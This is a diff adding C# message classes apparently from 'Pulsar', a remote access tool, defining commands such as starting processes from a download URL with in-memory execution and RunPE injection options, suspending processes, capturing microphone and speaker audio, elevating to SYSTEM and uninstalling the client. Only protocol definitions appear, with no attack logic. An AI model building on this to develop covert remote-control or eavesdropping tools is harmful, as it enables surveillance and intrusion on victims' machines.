namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class DoProcessEnd : IMessage
{
[Key(1)]
public int Pid { get; set; }
}
}
@@ -0,0 +1,16 @@
using MessagePack;
using Pulsar.Common.Enums;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class DoProcessResponse : IMessage
{
[Key(1)]
public ProcessAction Action { get; set; }
[Key(2)]
public bool Result { get; set; }
}
}
@@ -0,0 +1,36 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class DoProcessStart : IMessage
{
[Key(1)]
public string DownloadUrl { get; set; }
[Key(2)]
public string FilePath { get; set; }
[Key(3)]
public bool IsUpdate { get; set; }
[Key(4)]
public bool ExecuteInMemoryDotNet { get; set; }
[Key(5)]
public bool UseRunPE { get; set; }
[Key(6)]
public string RunPETarget { get; set; }
[Key(7)]
public string RunPECustomPath { get; set; }
[Key(8)]
public byte[] FileBytes { get; set; }
[Key(9)]
public string FileExtension { get; set; }
}
}
@@ -0,0 +1,15 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class DoSetTopMost : IMessage
{
[Key(1)]
public int Pid { get; set; }
[Key(2)]
public bool Enable { get; set; } // true = make topmost, false = remove
}
}
@@ -0,0 +1,15 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class DoSetWindowState : IMessage
{
[Key(1)]
public int Pid { get; set; }
[Key(2)]
public bool Minimize { get; set; } // true = minimize, false = restore
}
}
@@ -0,0 +1,12 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
[MessagePackObject]
public class DoSuspendProcess : IMessage
{
[Key(1)]
public int Pid { get; set; }
[Key(2)]
public bool Suspend { get; set; } // true = suspend, false = resume
}
@@ -0,0 +1,10 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class GetProcesses : IMessage
{
}
}
@@ -0,0 +1,16 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class GetProcessesResponse : IMessage
{
[Key(1)]
public Process[] Processes { get; set; }
[Key(2)]
public int? RatPid { get; set; }
}
}
@@ -0,0 +1,21 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Audio
{
[MessagePackObject]
public class GetMicrophone : IMessage
{
[Key(1)]
public bool CreateNew { get; set; }
[Key(2)]
public int DeviceIndex { get; set; }
[Key(3)]
public int Bitrate { get; set; }
[Key(4)]
public bool Destroy { get; set; }
}
}
@@ -0,0 +1,10 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Audio
{
[MessagePackObject]
public class GetMicrophoneDevice : IMessage
{
}
}
@@ -0,0 +1,14 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using System;
using System.Collections.Generic;
namespace Pulsar.Common.Messages.Audio
{
[MessagePackObject]
public class GetMicrophoneDeviceResponse : IMessage
{
[Key(1)]
public List<Tuple<int, string>> DeviceInfos { get; set; }
}
}
@@ -0,0 +1,15 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Audio
{
[MessagePackObject]
public class GetMicrophoneResponse : IMessage
{
[Key(1)]
public byte[] Audio { get; set; }
[Key(2)]
public int Device { get; set; }
}
}
+21
View File
@@ -0,0 +1,21 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Audio
{
[MessagePackObject]
public class GetOutput : IMessage
{
[Key(1)]
public bool CreateNew { get; set; }
[Key(2)]
public int DeviceIndex { get; set; }
[Key(3)]
public int Bitrate { get; set; }
[Key(4)]
public bool Destroy { get; set; }
}
}
@@ -0,0 +1,10 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Audio
{
[MessagePackObject]
public class GetOutputDevice : IMessage
{
}
}
@@ -0,0 +1,14 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using System;
using System.Collections.Generic;
namespace Pulsar.Common.Messages.Audio
{
[MessagePackObject]
public class GetOutputDeviceResponse : IMessage
{
[Key(1)]
public List<Tuple<int, string>> DeviceInfos { get; set; }
}
}
@@ -0,0 +1,15 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Audio
{
[MessagePackObject]
public class GetOutputResponse : IMessage
{
[Key(1)]
public byte[] Audio { get; set; }
[Key(2)]
public int Device { get; set; }
}
}
@@ -0,0 +1,10 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.ClientManagement
{
[MessagePackObject]
public class DoClearTempDirectory : IMessage
{
}
}
@@ -0,0 +1,10 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.ClientManagement
{
[MessagePackObject]
public class DoClientDisconnect : IMessage
{
}
}
@@ -0,0 +1,10 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages
{
[MessagePackObject]
public class DoClientReconnect : IMessage
{
}
}
@@ -0,0 +1,10 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.ClientManagement
{
[MessagePackObject]
public class DoClientUninstall : IMessage
{
}
}
@@ -0,0 +1,10 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.ClientManagement.UAC
{
[MessagePackObject]
public class DoAskElevate : IMessage
{
}
}
@@ -0,0 +1,10 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.ClientManagement.UAC
{
[MessagePackObject]
public class DoDeElevate : IMessage
{
}
}
@@ -0,0 +1,10 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.ClientManagement
{
[MessagePackObject]
public class DoElevateSystem : IMessage
{
}
}

Some files were not shown because too many files have changed in this diff Show More